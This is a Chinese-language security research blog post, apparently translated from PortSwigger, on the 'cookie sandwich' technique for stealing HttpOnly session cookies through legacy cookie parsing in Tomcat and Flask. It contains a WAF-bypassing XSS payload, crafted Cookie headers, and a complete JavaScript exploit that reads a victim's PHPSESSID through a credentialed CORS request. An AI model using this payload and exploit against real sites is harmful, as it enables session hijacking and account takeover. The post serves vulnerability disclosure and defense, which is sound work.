利用Cookie三明治技术窃取HttpOnly Cookie

本文详细介绍了如何通过Cookie三明治技术绕过HttpOnly标志,利用特殊字符和遗留Cookie解析漏洞窃取敏感会话信息,包含实际攻击案例和完整利用代码。

利用Cookie三明治技术窃取HttpOnly Cookie

在这篇文章中,我将介绍"cookie sandwich"技术,该技术可让你在某些服务器上绕过HttpOnly标志。这项研究是在《使用幻影$Version Cookie绕过WAF》基础上的延续。细心的读者可能已经注意到,遗留Cookie允许在Cookie值中包含特殊字符。在本文中,我们将滥用这一特性。

Cookie三明治技术

Cookie三明治技术操纵Web服务器在Cookie中使用特殊字符时的解析和处理方式。通过巧妙放置引号和遗留Cookie,攻击者可以使服务器误解Cookie头的结构,可能将HttpOnly Cookie暴露给客户端脚本。

工作原理

由于Chrome浏览器不支持遗留Cookie,它允许攻击者从JavaScript创建以$开头的Cookie名称,如$Version。此外,引号可以放置在任何Cookie值内。以下代码演示了如何创建Cookie三明治来窃取受限Cookie值:

1
2
3
4
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// 三明治内的任何Cookie都将被服务器端放入param1值中
document.cookie = `param2=end";`;

请求/响应中的Cookie头可能显示为:

1
2
3
4
5
GET / HTTP/1.1
Cookie: $Version=1; param1="start; sessionId=secret; param2=end"
=>
HTTP/1.1 200 OK
Set-Cookie: param1="start; sessionId=secret; param2=end";

关于Apache Tomcat如何处理Cookie头的简要提醒:

  • 解析器同时处理RFC6265和RFC2109标准,如果字符串以特殊的$Version属性开头,则默认使用遗留解析逻辑
  • 如果Cookie值以双引号开头,它将持续读取直到下一个未转义的双引号字符
  • 它还将取消转义任何以反斜杠()开头的字符

如果应用程序不当反射param1 Cookie到响应中或没有HttpOnly属性,整个Cookie字符串,包括浏览器在param1和param2之间发送的任何HttpOnly会话Cookie,都可能被暴露。

Python框架默认支持带引号的字符串,无需特殊的$Version属性。这些框架还将分号识别为浏览器的Cookie对分隔符,自动将所有特殊字符编码为四字符序列:一个正斜杠后跟字符的三位八进制等效值。针对Flask应用程序的"cookie sandwich"攻击可能如下所示:

1
2
3
4
5
GET / HTTP/1.1
Cookie: param1="start; sessionId=secret; param2=end"
=>
HTTP/1.1 200 OK
Set-Cookie: param1="start\073 sessionId=secret\073 param2=end";

真实世界示例

分析工具通常使用Cookie或URL参数来监控用户行为,并且很少验证跟踪ID。这使它们成为Cookie三明治攻击的完美目标。通常,当用户首次访问站点时,服务器会创建一个随机字符串visitorId并将其存储在Cookie中。然后该visitorId会显示在网页上进行分析:

1
2
3
<script>
{"visitorId":"deadbeef"}
</script>

这种情况造成了漏洞。如果攻击者能够访问网页内容(可能通过带有凭据的CORS请求或同源XSS攻击),他们可以绕过HttpOnly Cookie标志,暴露敏感用户信息。

在最近的测试中,我遇到了一个易受攻击的应用程序,其错误页面上存在反射型XSS漏洞。以下是我如何利用它来窃取HttpOnly PHPSESSID Cookie的过程。这个过程涉及绕过一些安全控制并利用被忽视的跟踪域漏洞。

步骤1:识别XSS漏洞

易受攻击的应用程序反射某些链接和元属性而没有适当转义。这使我能够注入JavaScript代码,因为服务器没有正确清理用户输入。虽然部署了AWS WAF,但由于未修补的oncontentvisibilityautostatechange事件,它可以被绕过。感谢@garethheyes帮助我完成这个技巧:

1
<link rel="canonical"oncontentvisibilityautostatechange="alert(1)"style="content-visibility:auto">

步骤2:查找暴露的Cookie参数

确认可以在页面上运行自定义JavaScript后,我的下一个目标是定位与域关联的HttpOnly Cookie。最初,我没有找到任何直接可访问的分析JavaScript,但我发现了一个跟踪域,它在JSON响应体中反射了会话ID参数。此跟踪端点接受URL中的会话参数,如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
GET /json?session=ignored HTTP/1.1
Host: tracking.example.com
Origin: https://www.example.com
Referer: https://www.example.com/
Cookie:  session=deadbeef;

HTTP/2 200 OK
Content-Type: application/json;charset=UTF-8
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true
{"session":"deadbeef"}

这个网站是我们攻击的绝佳候选,因为它:

  • 在响应体中反射Cookie值
  • 允许来自易受攻击域的跨源请求

步骤3:利用Cookie降级进行数据渗出

这个跟踪应用程序有一个有趣的行为:虽然会话URL查询参数是必需的,但服务器会使用Cookie头中的值覆盖它。由于后端运行在Apache Tomcat上,我利用幻影$Version Cookie切换到RFC2109并执行Cookie三明治攻击。然而,一个关键挑战仍然存在:控制客户端请求中Cookie的顺序。要使$Version Cookie首先发送,它必须要么更早创建,要么具有比所有其他Cookie更长的路径属性。虽然我们无法控制受害者Cookie的创建时间,但我们可以操纵路径属性。在这种情况下,选择的路径是/json。

通过使用精心制作的Cookie头,我可以操纵Cookie的顺序并利用反射漏洞捕获HttpOnly PHPSESSID Cookie。以下是我使用的恶意请求示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
GET /json?session=ignored
Host: tracking.example.com
Origin: https://www.example.com
Referer: https://www.example.com/
Cookie: $Version=1; session="deadbeef; PHPSESSID=secret; dummy=qaz"

HTTP/2 200 OK
Content-Type: application/json;charset=UTF-8
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true
{"session":"deadbeef; PHPSESSID=secret; dummy=qaz"}

步骤4:整合所有内容

总结攻击过程:

  1. 用户访问包含oncontentvisibilityautostatechange XSS负载的页面
  2. 注入的JavaScript设置Cookie $Version=1和session=“deadbeef,两个Cookie都有Path值/json以更改Cookie顺序
  3. 脚本最后添加Cookie dummy=qaz”
  4. 脚本然后向跟踪应用程序端点发出CORS请求,该端点反射被操纵的PHPSESSID Cookie到JSON响应中

最终利用代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
async function sandwich(target, cookie) {
    // 步骤1:创建带有目标src的iframe并等待
    const iframe = document.createElement('iframe');
    const url = new URL(target);
    const domain = url.hostname;
    const path = url.pathname;

    iframe.src = target;
    // 隐藏iframe
    iframe.style.display = 'none';
    document.body.appendChild(iframe);
    
    // 可选:添加代码检查和清理客户端Cookie(如果需要)
    iframe.onload = async () => {
        // 步骤2:创建Cookie gadget
        document.cookie = `$Version=1; domain=${domain}; path=${path};`;
        document.cookie = `${cookie}="deadbeef; domain=${domain}; path=${path};`;
        document.cookie = `dummy=qaz"; domain=${domain}; path=/;`;
        
        // 步骤3:发送fetch请求
        try {
            const response = await fetch(`${target}`, {
                credentials: 'include',
            });
            const responseData = await response.text();
            // 步骤4:警报响应
            alert(responseData);
        } catch (error) {
            console.error('Error fetching data:', error);
        }
    };
}

setTimeout(sandwich, 100, 'http://example.com/json', 'session');

通过这种方法,我可以从JSON响应中获取其他用户会话Cookie,利用了XSS、Cookie操纵和跟踪应用程序的漏洞。

建议

Cookie安全对于保护Web应用程序免受多种攻击至关重要。密切关注Cookie编码和解析行为。理解你使用的框架和浏览器如何处理Cookie很重要。请注意,默认情况下Apache Tomcat版本8.5.x、9.0.x和10.0.x支持RFC2109。

想要了解更多?

请务必查看我们之前关于使用幻影$Version Cookie绕过WAF的博客文章。

要获取我们最新的博客文章和安全见解,请在X(前Twitter)和Bluesky上关注我们,并加入官方的PortSwigger Discord。

对于更深入的见解,我强烈推荐Ankur Sundara的博客文章《Cookie Bugs - Smuggling & Injection》。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计